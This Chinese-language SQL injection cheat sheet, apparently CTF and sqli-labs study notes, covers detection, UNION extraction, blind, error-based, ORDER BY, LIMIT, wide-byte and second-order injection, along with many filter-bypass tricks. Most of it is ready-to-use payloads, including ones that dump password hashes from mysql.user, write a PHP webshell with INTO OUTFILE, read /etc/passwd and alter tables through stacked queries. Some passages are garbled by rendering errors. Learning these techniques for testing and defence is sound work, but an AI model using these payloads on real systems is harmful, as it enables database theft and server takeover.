SQL注入
基础篇
原理:
SQL注入,意思就是指 输入一条SQL语句,插入到代码中,修改后台SQL语句,使程序执行,进而达到进行攻击的目的
常用的SQL语句:
- 选择(select)语句
select * from table_name
- 更新(update)语句
update table_name set dump_name=vaule
- 删除(delete)语句
delete from table_name
- 插入(insert)语句
insert into table_name(dump_name1,dump_name2...) values(value1,value2...)
- 查找(like)语句
select * from table_name where dump_name1 like '%value1%'
- 排序(order by)语句
select * from table_name order by dump_name1 desc
- 范围(where)限制
select * from table_name where 范围
常用到的过滤函数:
- mysql_real_escape_string()
- 00->5c 30 0x00->\0
- 0a->5c 6e 换行->\n
- 0d->5c 72 回车->\r
- 1a->5c 5a 代替->\Z
- 22->5c 22 " ->
\"
- 27->5c 27 ’ ->
\'
- 5c->5c 5c \ ->
\\
实践篇
一.SQL注入测试
-
确认SQL注入方式
- GET请求
- POST请求
- 其他注入:例如HTTP头部请求
-
确定SQL注入类型
- 数字型
- 字符型
-
推理测试法
在注入点,加单引号,看是否有报错语句,再根据报错语句来推理出他的SQL语句,从而确定是SQL注入类型
' , " , ') , ") , ')) , ")) , ))
-
and 和 or 大法:
-
分别查看 1 and 1=1 与 1 and 1=2 返回的界面有何不同,若不同则说明存在SQL注入,并且为数字型
-
分别查看 1’ or 1=1 #与 0’ or 1=2 # 查看返回的界面有何不同,若不同则说明存在SQL注入,并且为字符型
-
-
加减法:
- 减法 2-1 查看返回的界面是否返回正确,若是正确则为数字型
- 加法同理
二. SQL注入利用
-
识别数据库:
若想成功进行SQL注入攻击,首先需要的是知道当前使用的系统数据库
-
从web应用技术提供线索:
- ASP和.net : Microsoft SQL Server
- PHP : MySQL, PostgreSQL
- Java : Oracle, MySQL
-
web容器提供线索
- 安装IIS作为服务器平台,后台数据极有可能是Mircrosoft SQL Server
- 允许Apache 和 PHP的Linux的服务器,很有可能使用的是开源的数据库,如MySQL和PostgreSQL
-
基于错误识别数据库
可以构造错误的语句,例如加个单引号,查看他报错的语句
error:You have an error in`your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near '' ' at line 1
Microsoft OLE DB Provider for ODBC Drivers 错误 '80040e14'
-
-
UNION语句提取数据
union操作符可以合并两条或多条的select语句的查询结果
1)语法:
select column1 from table1 union select column2 from table2
2)条件:
- 两个查询返回的列数必须相同
- 两个查询语句对于列返回的数据类型必须相同
3)列数查询:
- union select 查询列数:
- 使用order by查询列数:
union select 查询列数:
使用null尝试,由于null值会被转换成任何数据类型,所以,不需要管第二个条件。
就是这样一个个的加上去进行尝试,直到不返回错误。
使用order by查询列数:
1 order by 6
不断猜测列数的的范围,从大范围,慢慢猜测,知道确定具体的列数
猜测出具体列数,还需要确定是哪一个列数有返回将结果
1 union select 1,2,3
查看返回的内容,从而确定哪一列是显示的列数
4)枚举数据库
-
提取数据库
在MySQL中,数据库名放在information_schema数据库下schema表的schema_name字段中
id=1 union select null,schema_name,null from information_schema.schemata
-
提取表名
在MySQL中,数据库表名放在information_schema数据库下的tables表table_name字段中
id=1 union select null,table_name,null from information_schema.tables where table_schema=database()
-
提取字段名
在MySQL中,字段名存放在information_schema数据库下的columns表column_name字段中
id=1 union select null,column,null from informatio_schema.columns where table_name='' and table_schema=database()
-
提取数据
id=1 union select username,password,null from 'table_name'
5)窃取哈希令
哈希口令存储于mysql.user表中
id=1 user,password,null from mysql.user
password的加密方式是由password()函数计算的,具体算法取决于MySQL安装的版本
6)上传Webshell
利用SQL注入攻击获取Webshell其实就是向服务器写入文件(需要获取网站的绝对路径),所有常用的关系数据库管理系统均包含内置得向服务文件系统写文件的功能
select "<?php echo 'hell!!'; ?>" into outfile "D:/hello.php"
三. SQL盲注利用
-
什么是SQL盲注
SQL盲注是指在无法使用详细数据库错误消息或带内数据连接的情况下,利用数据库查询得输入审查漏洞,从数据库中提取信息或提取与数据库查询相关信息的技术
-
常见得SQL盲注入场景
- 提交一个数据,导致SQL查询无效时,会返回一个通用的错误页面,提交正确的话则会返回一个内容可被适度控制的页面
- 提交一个数据,导致SQL查询无效时,会返回一个通用错误页面,提交正确则会返回一个内容不可控的页面
- 提交受损或不正确得SQL既不会产生错误的页面,也不会以任何凡是影响页面输出
-
SQL盲注-基于布尔
1)首先,提交错误的数据,看资源是否返回通用的错误页面
2)再次输入查看是否是可控制界面
id=1 and 1=1 True
id=1 and 1=2 False
3)substring(str,pos,len)
str:字符串 pos:开始的位置 len:从开始的位置到结束的字符串的长度
获取数据库用户名
id=1 and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 1,1),0,1))='a' %23
id=1 and substring(user(),1,1)='a'
利用函数确认用户名的第一个字符是否是’a’ -
SQL盲注–基于时间
基于时间的盲注和基于布尔的盲注技术原理大同小异,基于布尔是根据页面返回的信息来确定,而基于时间的是根据响应的时间来判断正确性,如果是假的,那么就不会出现响应延迟
id=1 union select if(substr(user(),1,4)='root',sleep(4),1),null,null
提取用户名前四个字符串做判断,正确就延迟4秒,不正确返回1
三.SQL报错型注入
-
适用于字符型updatexml():
and 1=updatexml(1,concat(0x7e,(select table_name from information_schema.tables where table_schema=database() limit 4,1),0x7e),1)%23
-
适用于数字型extractvalue():
and extractvalue(1,concat(0x7e,(select @@version),0x7e))#
-
name_const():
union select 1,2,3 from (select name_const(version(),1),name_const(version(),1))x --+
-
exp():
union select (exp(~(select * from(select user())a))),2,3--+
-
整数溢出报错注入
union select (!(select * from (select user())x) - ~0),2,3--+
四.update,insert,delete注入
update,insert,delete这三种类型要想实现注入,那就必须使他的语句完整,才能成功触发SQL语句的执行
绕过(一般结合SQL报错型注入):
'or 1=1 or'
'and 1=1 and'
'* 1=1 *'
-
INSERT INTO security.referers (referer, ip_address) VALUES ('$uagent', '$IP')
INSERT INTO security.referers (referer, ip_address) VALUES ('
‘or extractvalue(1,concat(0x7e,(select @@version),0x7e)) or’', '$IP')
-
注入语句
SELECT * FROM users WHERE username='$username' and password='
’;insert into users values(21,‘789’,‘789’)#'
五.order by 注入
SQL语句:SELECT * FROM users ORDER BY $sort
判断存在order by注入的方式:
- ?sort=1 desc 与 ?sort=1 asc ,看返回的排列序有什么不同
绕过:
-
报错注入:
?sort=1' and (select 1 from(select count(*),concat(0x5c,database(),0x5c,floor(rand(0)*2))x from information_schema.tables group by x)a)--+
?sort=1 and extractvalue(1,concat(0x7e,(select @@version),0x7e)) --+
-
布尔型rand()注入:
?sort=1 and rand(ascii(left(database(),1))=115)--+
?sort=1 and substring(user(),1,1)='a' --+
-
时间盲注
?sort=1 and if(substr(user(),1,4)='root',sleep(14),1)--+
?sort=1 'and (if(ascii(substr(database(),1,1))=116,0,sleep(5)))--+
(正确的话就不延时,不正确的话就延时)
六.limit后面注入
limit 关键字后面还有 PROCEDURE 和 INTO 关键字,into 关键字可以用来写文件,但这在limit注入不重要,这里的重点是 PROCEDURE 关键字.MySQL默认可用的存储过程只有 ANALYSE (doc)。
绕过:
SQL语句:select * from users order by id desc limit 1,2
+注入点
报错注入:
select * from users order by id desc limit 1,2
procedure analyse(extractvalue(rand(),concat(0x3e,database())),1);
时间盲注:
select * from users order by id desc limit 1,2
procedure analyse((select extractvalue(rand(),concat(0x3a,(if(mid(version(),1,1) like 5, benchmark(5000000,SHA1(1)),1))))),1)
七.feild注入
-
写入文件 out_file
id=1 union all select null,"<?php echo 'hello!!';?>" into outfile "/var/www/1.php"
-
读取文件 load_file
id = 5 union all select load_file('/etc/passwd')
id = 5 union all select load_file(0x272F6574632F70617373776427)
八.头部注入
- 最常出现的头部注入点:
- user-agent
- referer
- cookie
- 绕过,按照平时注入的方法绕过,但注意,可能会有base64编码
九.宽字节注入
由于转义了单引号成 ’ 但是%df与\构成双字节,%df\结合为中文,从而%27逃逸
-
get型绕过:
id=1 %df%27 unionse select 1,2,3 %23
-
post型绕过:
�\'union select 1,2,3 #
-
编码绕过单双引号
�\'union select null,null,group_concat(password) from 0x7573657273 #
十.二次SQL注入
二次注入,顾名思义,需要两次,才能触发SQL语句。
第一次注入,是直接注入含有sql语句的,虽然有函数转义了一些非法字符(例如,单引号 ' 被转义为\' ),但在执行语句存入数据库的时候,存入的是未被转义的语句
第二次注入,是一个触发点,通过查询自己的信息,执行查询语句,当搜索到自己构造的SQL语句时,触发SQL注入的执行,从而实现二次注入
例:sqli-labs-master靶场的24关
第一次注入:
账号:·admin’ #·
密码:123
第二次注入:
修改密码为:456
十一.各种姿势的绕过
1')union%a0select(1),(user()),(3)||('1
1'||extractvalue(1,concat(0x7e,(seLect(group_concat(table_name))from(infoorrmation_schema.tables)where(table_schema=database())),0x7e))||'
-
过滤了‘#’,‘–’
- 采取报错型注入绕过,绕过为
2'or extractvalue(1,concat(0x7e,(select database()),0x7e)) or'
- 采取报错型注入绕过,绕过为
-
过滤了and,or
-
双写绕过(aandnd,oorr)
-
大小写绕过(And, Or)
-
and==》&,or==》|
-
使用union select 1,2,3 猜测列数
-
-
过滤了空格
-
%a0代替空格(linux)
-
/**/ 代替空格
-
**()**代替空格
-
-
过滤union,select
-
大小写绕过
-
双写绕过
-
实体编码绕过
-
截断字符绕过
-
-
过滤 单引号 ‘ ,双引号 “
-
get型使用宽字节注入绕过 %df%27
-
post型使用宽字节注入绕过
�\' 1#
-
16进制编码,编码完后要在编码前面加上0x
-
-
连续查询绕过
';use information_schema;set @sql=concat('s','elect column_name from columns wher','e table_name="1919810931114514"');PREPARE stmt1 FROM @sql;EXECUTE stmt1;--+
-
show tables from '数据库'
-
show create table '表名'
-
’;alter table `1919810931114514` add(id int default 1);alter table words rename aaa;alter table `1919810931114514` rename words;#
-
-
绕过两层服务器
输入语句处理一般有两层服务器,一层是tomcat,另一层是apache,一般是先经过tomcat检查过滤后,交给apache执行语句
例:
对语句的输入,白名单限制输入只能是数字
绕过 id=1&id='union select 1,2,3#
十二.SQL语句的一些绕过
-
SQL语句有 :
SQL语句:
$sql = "select * from users where username=\''.$usename.'\' and password=\''.$password.'\'";
代码函数:
function clean($str){
if(get_magic_quotes_gpc()){
$str=stripslashes($str); //删除字符串里的\
}
return htmlentities($str, ENT_QUOTES);
}
比如我们对字符串”<script>“使用htmlentities函数,字符串"<script>“将被转化为”<script>",
将"<"和“>”转换为HTML实体,可以防止浏览器将它们作为HTML元素的一部分被解释或运行(经常使用在用户提交表单数据的时候)。
htmlentities($str, ENT_COMPAT); // 只转换双引号
htmlentities($str, ENT_QUOTES); // 转换双引号和单引号
htmlentities($str, ENT_NOQUOTES); // 不转换任何引号
payload:
username=admin\&password=or 1 #
select * from users where username=\''. admin\ .'\' and password=\''. or 1 # .'\'
-
md5加密后的的SQL注入:
SQL语句:
$sql = "SELECT * FROM admin WHERE pass = '".md5($password,true)."'";
绕过:
要绕过这个的话,首先先不考虑md5加密,单看这个语句地绕过,可以看到,只要构造**‘or’**这样的字符串,既可以轻易的绕过。即:
SELECT * FROM admin WHERE pass = ''or'6<trash>'
payload:
提供一个字符串:ffifdyop
md5后,276f722736c95d99e921722cf9ed621c
再转成字符串:'or’6 -
sql注入之反引号注入:
SQL语句:
mysqli_query(KaTeX parse error: Can't use function '\`' in math mode at position 14: mysqli,"desc \̲`̲secret_{table}` “) or Hacker();
KaTeX parse error: Expected '}', got 'EOF' at end of input: …' from secret_{table}”;反引号的作用主要是区分MYSQL的保留字与普通字符而引入的符号
create table desc 报错
create table `desc` 成功
payload:
table=test` `union select group_concat(flagUwillNeverKnow) from secret_flag limit 1,1
-
sql注入之先查询用户,在比较密码:
SQL语句:
$sql="SELECT * FROM interest WHERE uname = '{$_POST['uname']}'";
代码函数:
$query = mysql_query($sql); if (mysql_num_rows($query) == 1) { //限制查询只有一条 $key = mysql_fetch_array($query); if($key['pwd'] == $_POST['pwd']) { //传入的pwd要符合数据库里的pwd print "CTF{XXXXXX}"; }else{ print "亦可赛艇!"; } }else{ print "一颗赛艇!"; }
使用rollup技巧来绕过:
在sql命令行里:
select uname,pwd from test group by pwd with rollup;
±-------------±------+
| uname | pwd |
±-------------±------+
| 123 | 123 |
| 123 | NULL |
±-------------±------+
rollup作用:在查询结果中多增加一行,而且他的的pwd的值为null。
传参$_POST[pwd]的值为空时,$key[‘pwd’] == $_POST[‘pwd’]满足在此之前我们还有一个条件要满足
mysql_num_rows($query) == 1
,我们要选择pass为NULL的单独的这一条记录。
从源码分析可得,过滤了逗号,我们不能简单的使用limit 1,1
这样的语法,而是可以使用limit 1 offset 1
。就本地环境而言,比如
select uname,pwd from test group by pwd with rollup limit 1 offset 2;
±-------------±------+
| uname | pwd |
±-------------±------+
| 123 | NULL |
±-------------±------+$sql=“SELECT * FROM interest WHERE uname = ‘{$_POST[‘uname’]}’”;
payload:
uname = ' or 1=1 group by pwd with rollup limit 1 offset 2 # & pwd = 空
$sql="SELECT * FROM interest WHERE uname = '{ ' or 1=1 group by pwd with rollup limit 1 offset 2 # }'";